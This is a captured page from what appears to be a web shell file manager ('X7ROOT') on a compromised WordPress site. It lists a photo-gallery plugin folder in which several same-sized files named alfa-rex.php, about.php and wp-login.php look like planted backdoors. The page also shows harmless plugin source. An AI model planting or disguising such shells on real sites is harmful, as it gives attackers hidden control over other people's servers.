X7ROOT File Manager
Current Path:
/home/okeydcqc/okagallery.com/wp-content/plugins/photo-gallery/admin/models
home
/
okeydcqc
/
okagallery.com
/
wp-content
/
plugins
/
photo-gallery
/
admin
/
models
/
ðŸ“
..
📄
.htaccess
(356 B)
📄
AddTags.php
(1.64 KB)
📄
Albums.php
(18.81 KB)
📄
Albumsgalleries.php
(2.05 KB)
📄
Editimage.php
(306 B)
📄
Galleries.php
(64.15 KB)
📄
Licensing.php
(2.21 KB)
📄
Options.php
(729 B)
📄
Shortcode.php
(1.32 KB)
📄
Themes.php
(3.85 KB)
📄
Uninstall.php
(2.56 KB)
📄
Widget.php
(803 B)
📄
about.php
(6.47 KB)
📄
about.php7
(6.47 KB)
📄
alfa-rex.php
(6.47 KB)
📄
alfa-rex.php56
(6.47 KB)
📄
alfa-rex.php7
(6.47 KB)
📄
alfa-rex.php8
(6.47 KB)
📄
wp-login.php
(6.47 KB)
Editing: Options.php
<?php /** * Class OptionsModel_bwg */ class OptionsModel_bwg { /** * Get images count. * * @return int $imgcount */ public function get_image_count() { global $wpdb; $imgcount = $wpdb->get_var("SELECT COUNT(*) FROM " . $wpdb->prefix . "bwg_image"); return $imgcount; } /** * Update gallery options by key. * * @param $data_params */ public function update_options_by_key( $data_params = array() ) { $options = get_option('wd_bwg_options'); if ( $options ) { $options = json_decode($options); foreach ( $data_params as $key => $value ) { $options->$key = $value; } update_option('wd_bwg_options', json_encode($options), 'yes'); } } }
Upload File
Create Folder